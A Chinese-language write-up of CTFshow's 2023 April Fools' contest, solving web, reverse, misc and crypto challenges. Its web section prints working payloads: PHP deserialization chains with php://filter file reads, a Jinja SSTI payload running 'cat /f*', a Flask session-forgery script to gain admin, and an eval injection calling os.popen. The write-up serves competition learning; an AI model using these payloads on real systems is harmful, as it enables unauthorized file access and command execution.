CTFSHOW2023愚人杯wp

本次比赛除了pwn其他方向都试了试,最后取得的成绩还不错,记录下来供师傅们一起学习

web

easy_signin

题目打开是这样,很像buu上面的一道webdog,一眼base64.解密一下(face.png)

image-20230401154900818

看看能不能读到源码,首先就是index.php加密(aW5kZXgucGhw)

image-20230401155339186

那就看看源码

image-20230401155413033

似乎又是base64,解码果然是这样。

image-20230401155518315

被遗忘的反序列化

image-20230402220740548

整体来看,我需要执行到aaa(),里面的参数经过cipher加密后校验可以执行命令。很明显cipher函数是在check.php里面定义的,(跟我之前出题的一样,属实难绷

随后的这里就很明显了,检查key之后提供读取文件的地址。

image-20230402221120900

题目到现在其实还有一个方向没用,那就是开头的那句话提示,有一个txt文件,但是我用dirsearch和御剑都扫了一遍还是没有出来,因此换了一个思路。通过这个原生类反序列来读文件,他还提供了输出。

image-20230402221353492

我使用的是FilesystemIterator

链子:

$a=new w_wuw_w();
$b=new gBoBg();
$b->coos="SplFileobject";
$b->file="php://filter/convert.base64-encode/resource=check.php";
$a->key=$b;
echo serialize($a);

这里需要从请求头下手,这里加上反序列化

image-20230402222035986

payload:AAAAAA: O:7:”w_wuw_w”:3:{s:3:”aaa”;N;s:3:”key”;O:5:”gBoBg”:4:{s:4:”name”;N;s:4:”file”;s:9:”check.php”;s:4:”coos”;r:1;s:11:” gBoBg eeee”;s:3:”-_-“;}s:4:”file”;N;}

然后读到了check.php的源码

<?php
​
function cipher($str) {
​
  if(strlen($str)>10000){
    exit(-1);
  }
​
  $charset = "qwertyuiopasdfghjklzxcvbnm123456789";
  $shift = 4;
  $shifted = "";
​
  for ($i = 0; $i < strlen($str); $i++) {
    $char = $str[$i];
    $pos = strpos($charset, $char);
​
•    if ($pos !== false) {
•      $new_pos = ($pos - $shift + strlen($charset)) % strlen($charset);
•      $shifted .= $charset[$new_pos];
•    } else {
•      $shifted .= $char;
•    }
  }
​
  return $shifted;
}

加密思路就是根据charset进行rot31的变换,我们再rot4就转化换成原来的字符串了。

解密后get=fe1ka1ele1efp

再改一下链子

$a=new w_wuw_w();
$a2=new w_wuw_w();
$b=new gBoBg();
$b->coos=$a;
$b->file='check.php';
$a->key=$b;
echo serialize($a);

payload:AAAAAA: O:7:”w_wuw_w”:3:{s:3:”aaa”;N;s:3:”key”;O:5:”gBoBg”:4:{s:4:”name”;N;s:4:”file”;s:9:”check.php”;s:4:”coos”;r:1;s:11:” gBoBg eeee”;s:3:”-_-“;}s:4:”file”;N;}

然后代码执行就欧克

image-20230402222417230

想不到居然提示是h1nt.txt。麻了

image-20230402222448714

image-20230402222507751

easy_ssti

image-20230401155625949

明显是让我们f12

image-20230401155646437

噢,看似给了源码。下来看看情况。

image-20230401155719379

很简单的一个东西。给出来两个路由,从hello进去对name传参,然后是一个ssti的渲染。

先解析一下

image-20230401155905865

然后对name传参,payload:/hello/<name>{{request}}

image-20230401160129667

很好,没有禁用request,那就用cookie去打一下

payload:{{(lipsum|attr(request.cookies.a)).get(request.cookies.b).popen(request.cookies.c).read()}}

Cookie: a=globals;b=os;c=cat /f*

image-20230401160100761

image-20230401160346131

image-20230401160320040

easy_flask

登录进去是这样的界面

image-20230401160511204

先注册一个账户看看。

image-20230401160542861

登录之后是这样,习惯性翻一下源代码

image-20230401160614992

似乎是要加一个权限,那就抓包看看能不能越权

image-20230401160742283

给了一个session,不知道是不是要伪造session继续,看看其他功能。

发现一个show页面,居然还泄露了密钥,那就不用多想了。肯定是session伪造,脚本解一下session。

image-20230401160835120

这里我使用p神写的脚本

""" Flask Session Cookie Decoder/Encoder """
__author__ = 'Wilson Sumanang, Alexandre ZANNI'
​
# standard imports
​
import sys
import zlib
from itsdangerous import base64_decode
import ast
​
# Abstract Base Classes (PEP 3119)
​
if sys.version_info[0] < 3: # < 3.0
    raise Exception('Must be using at least Python 3')
elif sys.version_info[0] == 3 and sys.version_info[1] < 4: # >= 3.0 && < 3.4
    from abc import ABCMeta, abstractmethod
else: # > 3.4
    from abc import ABC, abstractmethod
​
# Lib for argument parsing
​
import argparse
​
# external Imports
​
from flask.sessions import SecureCookieSessionInterface
​
class MockApp(object):
​
•    def __init__(self, secret_key):
•        self.secret_key = secret_key
​
​
if sys.version_info[0] == 3 and sys.version_info[1] < 4: # >= 3.0 && < 3.4
    class FSCM(metaclass=ABCMeta):
        def encode(secret_key, session_cookie_structure):
            """ Encode a Flask session cookie """
            try:
                app = MockApp(secret_key)
​
•                session_cookie_structure = dict(ast.literal_eval(session_cookie_structure))
•                si = SecureCookieSessionInterface()
•                s = si.get_signing_serializer(app)
​
•                return s.dumps(session_cookie_structure)
•            except Exception as e:
•                return "[Encoding error] {}".format(e)
•                raise e
​
​
•        def decode(session_cookie_value, secret_key=None):
•            """ Decode a Flask cookie  """
•            try:
•                if(secret_key==None):
•                    compressed = False
•                    payload = session_cookie_value
​
•                    if payload.startswith('.'):
•                        compressed = True
•                        payload = payload[1:]
​
•                    data = payload.split(".")[0]
​
•                    data = base64_decode(data)
•                    if compressed:
•                        data = zlib.decompress(data)
​
•                    return data
•                else:
•                    app = MockApp(secret_key)
​
•                    si = SecureCookieSessionInterface()
•                    s = si.get_signing_serializer(app)
​
•                    return s.loads(session_cookie_value)
•            except Exception as e:
•                return "[Decoding error] {}".format(e)
•                raise e
else: # > 3.4
•    class FSCM(ABC):
•        def encode(secret_key, session_cookie_structure):
•            """ Encode a Flask session cookie """
•            try:
•                app = MockApp(secret_key)
​
•                session_cookie_structure = dict(ast.literal_eval(session_cookie_structure))
•                si = SecureCookieSessionInterface()
•                s = si.get_signing_serializer(app)
​
•                return s.dumps(session_cookie_structure)
•            except Exception as e:
•                return "[Encoding error] {}".format(e)
•                raise e
​
​
•        def decode(session_cookie_value, secret_key=None):
•            """ Decode a Flask cookie  """
•            try:
•                if(secret_key==None):
•                    compressed = False
•                    payload = session_cookie_value
​
•                    if payload.startswith('.'):
•                        compressed = True
•                        payload = payload[1:]
​
•                    data = payload.split(".")[0]
​
•                    data = base64_decode(data)
•                    if compressed:
•                        data = zlib.decompress(data)
​
•                    return data
•                else:
•                    app = MockApp(secret_key)
​
•                    si = SecureCookieSessionInterface()
•                    s = si.get_signing_serializer(app)
​
•                    return s.loads(session_cookie_value)
•            except Exception as e:
•                return "[Decoding error] {}".format(e)
•                raise e
​
​
if __name__ == "__main__":
    # Args are only relevant for __main__ usage
​
    ## Description for help
​
•    parser = argparse.ArgumentParser(
•                description='Flask Session Cookie Decoder/Encoder',
•                epilog="Author : Wilson Sumanang, Alexandre ZANNI")
​
    ## prepare sub commands
​
•    subparsers = parser.add_subparsers(help='sub-command help', dest='subcommand')
​
    ## create the parser for the encode command
​
•    parser_encode = subparsers.add_parser('encode', help='encode')
•    parser_encode.add_argument('-s', '--secret-key', metavar='<string>',
•                                help='Secret key', required=True)
•    parser_encode.add_argument('-t', '--cookie-structure', metavar='<string>',
•                                help='Session cookie structure', required=True)
​
    ## create the parser for the decode command
​
•    parser_decode = subparsers.add_parser('decode', help='decode')
•    parser_decode.add_argument('-s', '--secret-key', metavar='<string>',
•                                help='Secret key', required=False)
•    parser_decode.add_argument('-c', '--cookie-value', metavar='<string>',
•                                help='Session cookie value', required=True)
​
    ## get args
​
•    args = parser.parse_args()
​
    ## find the option chosen
​
•    if(args.subcommand == 'encode'):
•        if(args.secret_key is not None and args.cookie_structure is not None):
•            print(FSCM.encode(args.secret_key, args.cookie_structure))
•    elif(args.subcommand == 'decode'):
•        if(args.secret_key is not None and args.cookie_value is not None):
•            print(FSCM.decode(args.cookie_value,args.secret_key))
•        elif(args.cookie_value is not None):
•            print(FSCM.decode(args.cookie_value))

在powshell解码:python 1.py decode -s “S3cr3tK3y” -c “eyJsb2dnZWRpbiI6dHJ1ZSwicm9sZSI6InVzZXIiLCJ1c2VybmFtZSI6ImEifQ.ZCfl0A.0g0-fLWpvTLO_z0VxzVBJyZ3GuQ”

image-20230401161439429

加密:python 1.py encode -s “S3cr3tK3y” -t “{‘loggedin’: True, ‘role’: ‘admin’, ‘username’: ‘a’}”

image-20230401161515661

然后用session登录。

image-20230401161550077

发现获得一个下载权限,抓包看看是不是任意文件下载漏洞

image-20230401161743043

额,看看app.py有什么

image-20230401162302285

我还可以登录admin账户

image-20230401161936088

image-20230401120412804

看到这里已经很清晰了,就是一个在hello路由下进行传参,参数会被eval执行可以用python的一些魔法方法

payload:/hello/?eval=import(“os”).popen(“ls /”).read()

image-20230401162522680

image-20230401162550031

RE

easy_pyc

这是一个pyc文件,使用常用的一个工具uncompyle6,将pyc文件转成py文件。

打开文件如下:

print 'Welcome to CTFshow Re!'
print 'your flag is here!'
flag = ''
l = len(flag)
for i in range(l):
    num = ((flag[i] + i) % 114514 + 114514) % 114514
    code += chr(num)
​
code = map(ord, code)
for i in range(l - 4 + 1):
    code[i] = code[i] ^ code[(i + 1)]
​
print code
code = ['\x16', '\x1d', '\x1e', '\x1a', '\x18', '\t', b'\xff', b'\xd0', ',', '\x03', '\x02', '\x14', '8', 'm', '\x01', 'C', 'D', b'\xbd', b'\xf7', '*', '\r', b'\xda', b'\xf9', '\x1c', '&', '5', "'", b'\xda', b'\xd4', b'\xd1', '\x0b', b'\xc7', b'\xc7', '\x1a', b'\x90', 'D', b'\xa1']
​
​

进行分析,很简单的一个异或加密,

首先处理code数组转换成十六进制的问题

hex_array = [ord(c) if isinstance(c, str) else c[0] for c in code]
print(hex_array)
​

exp:

code1 = ['\x16', '\x1d', '\x1e', '\x1a', '\x18', '\t', b'\xff', b'\xd0', ',', '\x03', '\x02', '\x14', '8', 'm', '\x01', 'C', 'D', b'\xbd', b'\xf7', '*', '\r', b'\xda', b'\xf9', '\x1c', '&', '5', "'", b'\xda', b'\xd4', b'\xd1', '\x0b', b'\xc7', b'\xc7', '\x1a', b'\x90', 'D', b'\xa1']
code = [ord(c) if isinstance(c, str) else c[0] for c in code1]
l=len(code)
for i in range(l-3):
    code[l-4-i]^=code[l-3-i]
flag=""
for i in range(l):
    code[i]-=i
    flag+=chr(code[i])
print(flag)
​

获得flag:

ctfshow{Just_F00l’s_D@y_R3_Ch3ck-in!}

easy_cc

key=”key123″

image-20230401213911854

这里可以看出将字符转成十六进制拼接在一起。

0x08,0x11,0x1f,0x42,0x5a,0x5c,0x1c,0x1e,0x1a,0x52,0x6d,0x41,0x0e,0x3a,0x1e,0x5e,0x5d,0x57,0x34,0x02,0x16,0x5e,0x56,0x12,0x16。

接下来是对key进行一个异或操作。

exp:

x=[0x08,0x11,0x1f,0x42,0x5a,0x5c,0x1c,0x1e,0x1a,0x52,0x6d,0x41,0x0e,0x3a,0x1e,0x5e,0x5d,0x57,0x34,0x02,0x16,0x5e,0x56,0x12,0x16]
key="key123"
flag=""
for i in range(len(x)):
    x[i]^=ord(key[i%6])
    flag+=chr(x[i])
print(flag)

flag:ctfshow{cc_re_good_good!}

MISC

奇怪的压缩包

下载附件得到 “奇怪的压缩包.zip”

打开要求输入密码,两个方法

要么找密码,要么伪加密,这里先试试伪加密的解法

放进zipcenop里面执行一下,确认是伪加密,打开得到black.png

图片里出现“半个”字体,盲猜改宽高,修改一下得到完整图片得到一串字符串

拿去base64,得到愚人节快乐!!很明显不是flag

010打开black.png,看到里面有个flag.png,用binwalk把他分出来

image-20230402220008025

打开图片但是只有半个flag,应该是修改了宽高

用crc校验后发现宽高确实修改过,那就在上面改回去,得到完整图片。

image-20230402220100397

哇库哇库2

image-20230401192106368

先算key,压缩包的密码 key = Σ(1/(n!)),这是一个无穷级数,它的和等于 e,即自然常数。e 约等于 2.718281828459045,四舍五入保留十二位有效数字后,结果为2.71828182846

解码后文章内容如下

image-20230401192209782

观察最后面的文字有。!?,符合ook加密

使用脚本把文本内容去掉

`var text = File.ReadAllLines(“C:\Users\20755\Desktop\111.txt”); string str = “”; foreach(var line in text) { if (line.EndsWith(“。”)) { str += “Ook. “; } if (line.EndsWith(“!”)) { str += “Ook! “; } if (line.EndsWith(“?”)) { str += “Ook? “; } }

File.WriteAllText(“C:\Users\20755\Desktop\result.txt”, str);`

替换得到

Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook! Ook? Ook! Ook! Ook. Ook? Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook? Ook. Ook? Ook! Ook. Ook? Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook! Ook. Ook? Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook! Ook? Ook! Ook! Ook. Ook? Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook? Ook. Ook? Ook! Ook. Ook? Ook. Ook. Ook! Ook. Ook? Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook! Ook? Ook! Ook! Ook. Ook? Ook! Ook! Ook! Ook! Ook! Ook! Ook? Ook. Ook? Ook! Ook. Ook? Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook. Ook? Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook! Ook? Ook! Ook! Ook. Ook? Ook. Ook. Ook. Ook. Ook. Ook. Ook? Ook. Ook? Ook! Ook. Ook? Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook! Ook. Ook? Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook! Ook? Ook! Ook! Ook. Ook? Ook! Ook! Ook! Ook! Ook! Ook! Ook? Ook. Ook? Ook! Ook. Ook? Ook! Ook! Ook! Ook! Ook! Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook! Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook! Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook! Ook. Ook? Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook! Ook? Ook! Ook! Ook. Ook? Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook? Ook. Ook? Ook! Ook. Ook? Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook. Ook? Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook! Ook? Ook! Ook! Ook. Ook? Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook? Ook. Ook? Ook! Ook. Ook? Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook! Ook. Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook. Ook? Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook! Ook? Ook! Ook! Ook. Ook? Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook? Ook. Ook? Ook! Ook. Ook? Ook! Ook. Ook? Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook! Ook? Ook! Ook! Ook. Ook? Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook? Ook. Ook? Ook! Ook. Ook? Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook. Ook! Ook! Ook! Ook! Ook! Ook. Ook? Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook! Ook? Ook! Ook! Ook. Ook? Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook? Ook. Ook? Ook! Ook. Ook? Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook. Ook? Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook! Ook? Ook! Ook! Ook. Ook? Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook? Ook. Ook? Ook! Ook. Ook? Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook! Ook. Ook? Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook! Ook? Ook! Ook! Ook. Ook? Ook! Ook! Ook! Ook! Ook! Ook! Ook? Ook. Ook? Ook! Ook. Ook? Ook! Ook! Ook! Ook. Ook? Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook! Ook? Ook! Ook! Ook. Ook? Ook. Ook. Ook. Ook. Ook. Ook. Ook? Ook. Ook? Ook! Ook. Ook? Ook. Ook. Ook! Ook. Ook? Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook! Ook? Ook! Ook! Ook. Ook? Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook? Ook. Ook? Ook! Ook. Ook? Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook. Ook? Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook! Ook? Ook! Ook! Ook. Ook? Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook? Ook. Ook? Ook! Ook. Ook? Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook! Ook. Ook? Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook! Ook? Ook! Ook! Ook. Ook? Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook? Ook. Ook? Ook! Ook. Ook? Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook. Ook? Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook! Ook? Ook! Ook! Ook. Ook? Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook? Ook. Ook? Ook! Ook. Ook? Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook! Ook. Ook? Ook.

解码得到

ctfshow{4niya_KaWa1i!}

O:7:”w_wuw_w”:3:{s:3:”aaa”;N;s:3:”key”;O:5:”gBoBg”:4:{s:4:”name”;i:1;s:4:”file”;s:52:”php://filter/convert.base64-encode/resource=flag.txt”;s:4:”coos”;s:13:”SplFileobject”;s:11:” gBoBg eeee”;s:3:”-_-“;}s:4:”file”;N;}

O:7:”w_wuw_w”:3:{s:3:”aaa”;N;s:3:”key”;O:5:”gBoBg”:4:{s:4:”name”;i:1;s:4:”file”;s:53:”php://filter/convert.base64-encode/resource=check.php”;s:4:”coos”;s:13:”SplFileobject”;s:11:” gBoBg eeee”;s:3:”-_-“;}s:4:”file”;N;}

O:7:”w_wuw_w”:3:{s:3:”aaa”;N;s:3:”key”;O:5:”gBoBg”:4:{s:4:”name”;N;s:4:”file”;s:9:”check.php”;s:4:”coos”;r:1;s:11:” gBoBg eeee”;s:3:”-_-“;}s:4:”file”;N;}

琴柳感

打开题目发现文件里四句话重复,可以视作base4,排列组合一下可以得到flag

我必须站在这里。你有没有感受到城市在分崩离析?你不曾注意阴谋得逞者在狞笑。你有没有听见孩子们的悲鸣?你是否想过……朋友不再是朋友,家园不再是家园。

随手搓一个脚本

\# random base4
s1 = '012303020101032301120133030303130312011001310103012103000123010001310103031201100131010300330310011001210300031101200110031001100033031101200110011301000132011001200131031001100132011001200131012101200330'
l1 = [['00', '01', '10', '11'], ['01', '00', '10', '11'], ['10', '01', '00', '11'], ['11', '01', '10', '00'],
   ['00', '01', '11', '10'], ['01', '00', '11', '10'], ['11', '01', '00', '10'], ['10', '01', '11', '00'],
   ['00', '10', '01', '11'], ['10', '00', '01', '11'], ['01', '10', '00', '11'], ['11', '10', '01', '00']]



for i in l1:
  stemp = ''
  for j in s1:
    stemp += i[int(j)]
  print(stemp)

crypto

easy_base

密文:4C455A5645334C44474A55484D5A42544F5132574956525A50464E464F4E4C474D4656454D334359474A554751564B4949493255535532464E42544643504A35

base家族一把梭,三次解码

image-20230402222648636

image-20230402222709709

image-20230402222723169

大牛的密码

没什么说的,直接上exp

S_BOX = [9, 31, 32, 38, 20, 1, 22, 4, 8, 2, 11, 21, 7, 18, 46, 23, 34, 3, 19, 12, 45, 30, 27, 37, 5, 47, 28, 36, 0, 43, 39, 10, 29, 14, 40, 24, 33, 16, 17, 6, 42, 15, 26, 41, 44, 25, 35, 13]
c = [99, 111, 102, 11, 107, 49, 11, 53, 121, 48, 114, 117, 11, 95, 112, 95, 109, 115, 11, 95, 101, 95, 119, 117, 79, 123, 111, 48, 110, 95, 121, 116, 121, 125, 116, 11, 119, 11, 97, 67, 11, 11, 11, 11, 11, 99, 110, 104]
BLOCK=16
from Crypto.Util.Padding import unpad

from Crypto.Util.number import *
from Crypto.Util.Padding import unpad
from random import shuffle

def s_box(a):
  box=[i for i in range(a)]
  shuffle(box)
  return box

BLOCK = 16
S_BOX = [9, 31, 32, 38, 20, 1, 22, 4, 8, 2, 11, 21, 7, 18, 46, 23, 34, 3, 19, 12, 45, 30, 27, 37, 5, 47, 28, 36, 0, 43, 39, 10, 29, 14, 40, 24, 33, 16, 17, 6, 42, 15, 26, 41, 44, 25, 35, 13]
c = [99, 111, 102, 11, 107, 49, 11, 53, 121, 48, 114, 117, 11, 95, 112, 95, 109, 115, 11, 95, 101, 95, 119, 117, 79, 123, 111, 48, 110, 95, 121, 116, 121, 125, 116, 11, 119, 11, 97, 67, 11, 11, 11, 11, 11, 99, 110, 104]

\# reverse the operations of encrypt2
def decrypt2(m):
  for i in range(15, -1, -1):
    temp = [0] * 48
    for j in range(48):
      temp[S_BOX[j]] = m[j]
    m = temp
  return m

\# reverse the operations of encrypt1
def decrypt1(m):
  dec = [m[i:i+BLOCK] for i in range(0, len(m), BLOCK)]
  for i in dec:
    for j in range(BLOCK-1, -1, -1):
      aa = j*7 % BLOCK
      swap(i[j], i[aa])
  return b''.join(dec)

\# swap the values of two variables
def swap(a, b):
  tmp = a
  a = b
  b = tmp

\# convert the ciphertext from list of integers to bytes
c = bytes(c)
\# c = bytes(encrypt2(m))

\# decrypt the ciphertext
m = bytearray(c)
m = bytes(decrypt2(m))
m = decrypt1(m)

\# unpad the plaintext and print the flag
flag = unpad(m, BLOCK)
print(flag.decode())


#ctfshow{y0u_c5n_make_y0u1_own_CryptO}

easy_xor

p高位泄露、、、

评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值